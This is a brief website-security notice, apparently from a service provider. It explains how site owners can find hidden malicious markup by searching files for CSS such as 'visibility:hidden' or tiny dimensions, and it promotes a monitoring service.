Malware clean-up


Such malware is often hidden inside the JavaScript file. This specific code is very easy to locate and to remove. Look for "visibility:hidden" and/or "height:[very-small-value]", "width:[very-small-value]" in your website files.  See whether the "invisible" mark-up is not suspicious (in case it was not created by you).

If you suspect that your website was infected by similar malware please use Website Anti-malware Monitoring for remediation assessment.
